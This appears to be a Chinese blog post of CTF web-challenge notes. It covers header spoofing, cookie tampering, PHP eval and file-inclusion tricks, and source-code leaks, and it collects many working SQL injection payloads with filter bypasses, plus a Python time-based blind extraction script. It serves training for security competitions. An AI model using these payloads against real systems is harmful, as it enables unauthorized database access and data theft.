PRELOADER

当前文章 : 《简记web常见思路一》

12/2/2019 —— 

前言

信息收集

1、看源代码

2、F5审查元素

3、抓包看回显,需要注意的头部的信息。

4、扫目录

5、找泄漏(.git/svn/robots.txt…..)

6、找cms/框架特征->现有的cve/乌云

7、各种漏洞(sql,xss,csrf,upfile…..)

编码与解码

\K\E\Y->unincode编码

[][(![]+[])[+[]]-> js解码(F12->console)

JavaScript unescape()函数可对通过escape()编码的字符串进行解码。传参为string。

例如:http://123.206.87.240:8002/web4/
`

但是用途不止这个,对于XSS题目有用

host解析

win中c:\windows\system32\drivers\etc\hosts添加ip domian

linux中/etc/hosts添加ip+domian

也可以抓包改host(ip)->host(domian)

细心观察

没有思路时,连续发包看回显

例如:http://123.206.87.240:8002/web12/

每次发包回显有一定可能有变化

技巧:n次repeater == intruder

代码执行

场景:存在assert/eval....,并且参数可控
例如:

<?php

include "flag.php"; 

$a = @$_REQUEST['hello'];

eval( "var_dump($a);"); 

show_source(__FILE__); 

?>

payload: ?hello=1);show_source("flag.php" =>参看到flag.php源码

可变变量与$GLOBALS

可变变量类似于$a='b';$b='c';echo $$a; => c

$_GLOBALS超全局数组中存储着全局的变量

例如:http://123.206.87.240:8004/index1.php

关于header的题目

requests

IP限制

X-FORWARDED-FOR: 127.0.0.1(http://123.206.31.85:1003/)
对于绕过IP还有很多
    Client-Ip: 127.0.0.1
    X-Forwarded-For: 127.0.0.1
    HTTP_CLIENT_IP: 127.0.0.1
    REMOTE_ADDR: 127.0.0.1
    Host: 127.0.0.1
    Referer: www.google.com(这个是说只能接受从某页面过来的)
一般流程代码:
<?php
    function GetIP(){
        if(!empty($_SERVER["HTTP_CLIENT_IP"]))
            $cip = $_SERVER["HTTP_CLIENT_IP"];
        else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
            $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
        else if(!empty($_SERVER["REMOTE_ADDR"]))
            $cip = $_SERVER["REMOTE_ADDR"];
        else
            $cip = "0.0.0.0";
        return $cip;
        }
    $GetIPs = GetIP();
    if ($GetIPs=="1.1.1.1"){
        echo "Great! Key is *********";
    }
    else{
        echo "错误!你的IP不在访问列表之内!";
    }
?>

使用固定浏览器访问

修改User-agent
    简单修改:http://119.23.73.3:5001/web3/,直接修改user-agent: NAIVE

    难度修改:http://202.38.95.46:12001/,从view-source:https://

    heicore.com/index.html拿到Mozilla/5.0 (Windows NT 6.1; WOW64) 

    AppleWebKit/537.36 (KHTML, like Gecko) HEICORE/49.1.2623.213 Safari/537.36

突破地域限制

修改accept-language,比如http://119.23.73.3:5001/web3/,修改为zh-HK,从香港访问

COOKIE欺骗

COOKIE值进行修改,达到欺骗目的
比如:
http://123.206.87.240:8002/web11/index.php?line=18&filename=aW5kZXgucGhw
Cookie: margin=margin
?line=0&filename=a2V5cy5waHA
line是读取的行数(0行=>1行)
filename为需要读的文件的base64编码
身份验证
权限问题,cookie值的更改可以导致越权
比如:
http://119.23.73.3:5001/web9/

reponse

仔细观察头部信息

参数返回值(Cookies)
头部其它隐蔽地方直接隐藏(http://123.206.87.240:9009/hd.php)
302重定向
    奇特地重定向:http://119.23.73.3:5006/web2/ => 119.23.73.3:5006/web2/index2.php
    访问119.23.73.3:5006/web2/ => 119.23.73.3:5006/web2/index2.php

php文件包含

1.php://filter/(php伪协议)

php://filter/read=convert.base64-encode/resource=xxx.php
http://123.206.87.240:8005/post/index.php?file=show.php
之所以会有文件包含漏洞,是因为没有过滤,直接把file值带入include()内进行执行,
例如:http://119.23.73.3:5101/
这有一道php://filter/写入流的应用
http://119.23.73.3:5003/
使用php://filter/write=convert.base64-decode/resource=xxx.php,像xxx.php中写入内容,通过写入base64解码后的数据流实现,配合file_put_contents()使用进行写shell。
其中涉及到两个知识点:
base64解码表A-Z、a-z、0-9、+、/,其它的内容base64解码会将其过滤掉,比如<?;>与空格,就会自动过滤掉,题目中的<?php exit;>=>phpexit
base64算法解码时是4个byte一组,所以该题目如果phpexit正常解码,不影响后面的一句话,就必须构造8个字符。

暴力破解->bp-intruder

http://123.206.87.240:8002/baopo/

辅助脚本

 a = "1234567890"
 f = open("num_5.txt",'wb')
for a1 in a:
    for a2 in a:
            for a3 in a:
                    for a4 in a:
                            for a5 in a:
                                    f.write(a1+a2+a3+a4+a5+'\n')
f.close()

动画,游戏,事件(点击…),查看前端代码,一般考点在为js代码

http://123.206.87.240:9001/test/

参看源码,关注点:标签的name + javascript代码

此时就是阅读理解js代码逻辑,此题只需要post提交clicks=1000000即可

http://114.55.36.69:8011/

可以直接执行颜文字,也可以修改js代码看逻辑(index主页是不可修改的)

http://119.23.73.3:5001/web2/

js前端设置,不可输入与文本长度限制

sql注入

希望看到的注入(非万能密码登录)的顺序

有回显的注入 => 报错注入 => 盲注(boole->time)

sql注入之注释

或许在某些时候不能用,但是%23却是可以的

当然–=也是可以,不过–(空格)却有时会出错,幸好还有--%20

简单的回显注入

例如:http://123.206.87.240:8002/chengjidan/index.php

0' union select (select group_concat(column_name) from information_schema.columns where table_schema=database()),(select group_concat(table_name) from information_schema.tables where table_schema=database()),skctf_flag,4 from fl4g#

例如:http://123.206.87.240:9001/sql/

admin_name:admin" union select 1,2#

基于报错的注入

count(*)floor(rand(0)*2)group by

例如:

http://123.206.87.240:9001/sql/

http://123.206.87.240:9004/Once_More.php?id=1
payload:admin_name:admin" union select count(*),concat(0x3a,(select user()),(floor(rand(0)*2)))a from information_schema.tables group by a#

from 后面一定要跟表名,不然会报错

EXTRACTVALUE()//payload:admin"and extractvalue(0x3a,concat(0x3a,(select database())))#

updataxml() //payload:admin" and (updatexml(0x3a,concat(0x3a,(select database())),0x3a))#

以上两个都可以作为报错语句使用,注意语法的使用

万能密码

admin' or 1=1# / admin' or '1'='1

http://119.23.73.3:5002/index.php

如果不能使用or,and,union,甚至不能使用数字

payload: a'=' => 存在的=不存在的为false,false=’’为true

MD5哈希校验的登录页面

payload: a' union select 1,md5(1)--+ => 密码为1,这里表的列数应该要正确

后端代码:

$pass = md5($_GET['pass']);
$sql = "select password from users where username='$user'";
$query = mysql_query($sql);
$row = mysql_fetch_array($query, MYSQL_ASSOC);
if(($row[password])&&(!strcasecmp($pass,$row[password]))){
echo 'login success';
.......
}


mysql> select *  from tests where username='a' union select 1,md5(1);

+———-+———————————-+
| username | password |
+———-+———————————-+
| 1 | c4ca4238a0b923820dcc509a6f75849b |
+———-+———————————-+

例如:http://123.206.31.85:49165/login.php

盲注之异或注入

因为过滤了空格,/\/等,所以引号不好闭合,此时异或也是一种解决办法

例如:http://119.23.73.3:5004/

paylod:id=2'^(select(1))^'0

成功注入

绕后就是盲注了,mid(),assci(),limit(),使用括号来绕过()

tip:

1、使用工具

burpsuit->intruder->clubster bomb->attack即可

爆表:

GET /?id=2%27^(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),§1§,1)='§1§')^%271 HTTP/1.1

爆列:

GET /?id=2%27^(mid((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()),§1§,1)='§1§')^%271 HTTP/1.1

爆flag
GET /?id=2%27^(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),§1§,1)=’§1§’)^%271

2、脚本就不说了,详细见: http://bey0nd.club/2018/11/02/1/

2、mid,substr函数不区分大小写

约束攻击

1、在select where查询语句中,会西东忽略空格

mysql> select * from tests where usename=’ad’;
+———+———-+
| usename | password |
+———+———-+
| ad | sf |
+———+———-+
1 row in set (0.00 sec)

mysql> select * from tests where usename=’ad ‘;
+———+———-+
| usename | password |
+———+———-+
| ad | sf |
+———+———-+
1 row in set (0.00 sec)

2、在宽松模式下,即@@sql_mode=ANSI时,插入数据(insert)如果不符合定义类型或长度,对数据类型调整或截断保存并警告。
需要注意的是,在执行SELECT查询语句时,SQL是不会将字符串缩短为25个字符的。

3、所以攻击流程

insert into table(column1,column2) values ('admin         1','password') //假设管理员为admin,插入admin+若干空格+1
select * from table where column1='admin' //即可出现刚才插入的那一条

例如:http://123.206.31.85:49163/index.php

insert into 基于时间的盲注

例如:

$sql="insert into client_ip (ip) values ('$ip')";
payload_1: insert into client_ip (ip) values ('$ip' and (case when() then sleep() else 1 end))
payload_2: insert into client_ip (ip) values ('$ip'+(select case when() then sleep() else 1 end)+'')`

例如:http://123.206.87.240:8002/web15/

payload:X-FORWARDED-FOR: 1' and (case when (1=1) then sleep(3) else 1 end))#

exp.py

import requests
url = "http://123.206.87.240:8002/web15/"
flag = ''

payload = "1' and (case when (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from {0} for 1))={1}) then sleep(5) else 1 end))#"

payload = "1' and (case when (ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()) from {0} for 1))={1}) then sleep(5) else 1 end))#"

payload = "1' and (case when (ascii(substr((select group_concat(flag) from flag) from {0} for 1))={1}) then sleep(5) else 1 end))#"

for i in range(1, 40):
for j in range(33, 127):
    headers = {"x-forwarded-for": payload.format(str(i), str(j))}
    # print headers
    try:
        result = requests.get(url, headers=headers, timeout=3)
    except requests.exceptions.ReadTimeout, e:
        flag += chr(j)
        print flag
        break

注意在写payload之前记得测试过滤函数与字符,intrude一下或者直接手动尝试payload。

注入之bypass

fuzz过滤内容的方式

方法:

可以使用异或(^) => 前提是删除过滤,需要构造正确的sql语句才可以判断,length()没有被过滤

例如:
http://123.206.87.240:9004/1ndex.php?id=1
fuzz_payload: ?id=5’^(length(‘$value’)=0)–+
=>injection_payload1: -1’ uniunionon selecselectt 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()–+

跳转后的新payload:

injection_payload2: 1' and extractvalue(0x3a,concat(0x3a,(select flag2 from flag2)))--+

或者

injection_payload3:1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=ascii('a')%23

跟在参数后面fuzz

在盲注的时候,如果and,or,||,&&被过滤,可以使用^符号代替,比如:http://123.206.87.240:8007/web2/

payload: uname=admin'^($sql)^'1 =>$sql为true与false的回显不同,这里有个点,类似于php弱类型的’==’的用法,在盲注的时候,

如果and,or,||,&&被过滤,可以使用’-‘或者’+’符号代替

payload: uname=admin'-'0 => 0处使用注入语句代替,true与false的回显不同

payload: uname=admin'-0- ' => 与上面一样,单引号为了闭合

如果盲注的时候,在1与2的基础上又有空格与逗号被过滤,使用函数与()绕过

例如:http://123.206.87.240:8007/web2/

payload: admin'-(mid(reverse(mid((passwd)from(1)))from(-1))='0')-'-1 =>mid(reverse(mid('abc'from(3)))from(-1)) <=> mid('abc',3,1)

或者

payload: admin'-(mid((passwd)from(1))<>'0')-'-1

对于这个可以说是,等号(=)被过滤,使用不等号<>,这里控制截取字符串使用倒序,1 => [n,n-1,n-2…..1],比较采用比较字符串的式,

'0' => [a,ba,cba....],当然也可以使用reverse函数。

例如:http://123.206.31.85:49167/index.php

源码泄漏

.bak

http://123.206.87.240:8002/web16/

index.php.bak

然后代码审计

str_replace('key','',$str); //%str中把key替换为空
parse_str($str) //把查询字符串解析到变量中,该题目中相当于$_GET['key1']赋值
然后就是php黑魔法中的0e黑科技

.php~ :php常见的一个源码泄漏

例如:http://119.23.73.3:5001/web5/

.swp:文件异常退出时系统自动的备份文件,可以恢复源文件的。使用vim -r xx.xx.swp即可查看到原始的内容

例如:http://123.206.31.85:49168/index.php